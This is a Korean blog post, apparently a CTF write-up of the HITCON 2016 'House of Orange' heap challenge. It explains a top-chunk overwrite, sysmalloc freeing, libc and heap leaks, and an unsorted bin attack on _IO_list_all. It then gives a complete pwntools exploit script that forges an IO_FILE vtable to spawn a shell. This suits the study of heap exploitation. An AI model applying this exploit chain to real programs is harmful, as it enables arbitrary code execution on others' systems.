값은 잘 들어갓는데 memmory corruption에서 kali는 처리과정이 좀 다른가.. 쉘이 안뜬다..ㅠ
이유를 잘 모르겟다 ㅠ
아무튼 이문제 write up을 이해하는 것도 까다로웠다.
그만큼 아이디어가 신박하고,, low level의 해킹이었다.
수준급의 해킹을 하려면 libc에 대한 이해도가 높아야 할 듯싶다.
먼저 이 문제의 취약점은
upgrade에서 boundary check를 하지않아 heap overflow가 발생한다는 것이다.
그외에는 아무것도 없다..정말 아무것도
심지어 free함수도 사용하지 않는다.
그래서 sysmalloc을 이용한다.
heap overflow로 top chunk의 size를 덮어쓸수 있다.
top chunk의 size를 줄이고 사이즈가 top chunk보다 큰 chunk를 할당하면 top chunk의 크기를 늘리기 위해
sysmalloc을 호출하는데 sysmalloc에서 몇가지 조건이 만족되면
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
_int_free가 호출된다.
free된 bin은 unsorted bin으로 들어가고
다음 malloc을 이용해서 이 unsorted bin(small bin)에 주솟값을 할당해 leak을 할수 있다.
여기서 libc와 heap이 모두 leak이 되고
마지막에 unsorted bin attack을 사용한다.
unsorted chunk가 할당이 될 때
unsorted chunk->bk->fd=unsorted chunk 이라는
과정을 거친다.
unsorted chunk->bk를 덮어써서 arbitrary overwrite attack이 가능하다.
이 공격을 memmory corruption에서 io_list_all 구조체를 덮어쓰는 공격을 수행한다.
memmory corruption에서 몇가지 assert를 통과하면 io_list_all의 vptr을 실행시키는데 이거를 노리면 된다.
!!정말 잘 쓴 writeup이다! 꽤많이 얻은 공부가 된것 같다.
http://4ngelboy.blogspot.kr/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
from pwn import * import time p=process('./houseoforange') def build(len,name,price): p.sendline('1') p.recvuntil('name :') p.sendline(str(len)) p.recvuntil('Name :') p.sendline(name) p.recvuntil('Orange:') p.sendline(str(price)) p.recvuntil('Orange:') p.sendline('1') time.sleep(0.2) def see(): p.sendline('2') time.sleep(0.2) def upgrade(len,name,price): p.sendline('3') p.recvuntil('name :') p.sendline(str(len)) p.recvuntil('Name:') p.sendline(name) p.recvuntil('Orange:') p.sendline(str(price)) p.recvuntil('Orange:') p.sendline('1') time.sleep(0.2) raw_input() build(0x80,'AAAA',100) upgrade(0xb1,'A'*0x94+p32(0x20)+p64(0)*2+p64(0xf31),100) build(0x1000,'BBBB',100) #sysmalloc -> _int_free build(0x400,'C'*7,100) #unsorted_bin ->leak see() p.recvuntil('CCCCCCC\n') leak=u64(p.recv(6).ljust(8,'\x00')) print hex(leak) system=leak-0x7fd5878d710a+0x7fd58757d460-0x5e io_list_all=system-0x7ffff7a7b460+0x7ffff7dd5500 print "system address :",hex(system) print "io_list_all : ",hex(io_list_all) upgrade(0x400,'D'*15,100) see() p.recvuntil('D'*14+'\n') heap=u64(p.recv(6).ljust(8,'\x00'))-0x130 vtable=heap+0x670 print "heap leak: ",hex(heap) print "vtable : ",hex(vtable) fake_IO_FILE="/bin/sh\x00"+p64(0x61) #fake file stream fake_IO_FILE+=p64(1)+p64(io_list_all-0x10) fake_IO_FILE=fake_IO_FILE.ljust(0xa0,"\x00") fake_IO_FILE+=p64(heap+0x700-0xd0+0x8) fake_IO_FILE=fake_IO_FILE.ljust(0xc0,"\x00") fake_IO_FILE+=p64(1) pay='D'*0x410 pay+=p32(0xaaaa)+p32(0x20)+p64(0) pay+=fake_IO_FILE pay+=p64(0)*2 pay+=p64(vtable) pay+=p64(1)+p64(2)+p64(3)+p64(0)*3 pay+=p64(system) upgrade(0x800,pay,100) p.recvuntil(':') p.sendline('1') p.interactive()
'CTF' 카테고리의 다른 글
[codegate2016]bugbug (0) | 2017.02.02 |
---|---|
[SECCON 2016]tinypad (0) | 2017.01.18 |
[christmas ctf]house of daehee (0) | 2017.01.17 |
[9447-ctf-2015] search 230pt (0) | 2017.01.08 |
[33c3ctf]babyfengshui (0) | 2017.01.06 |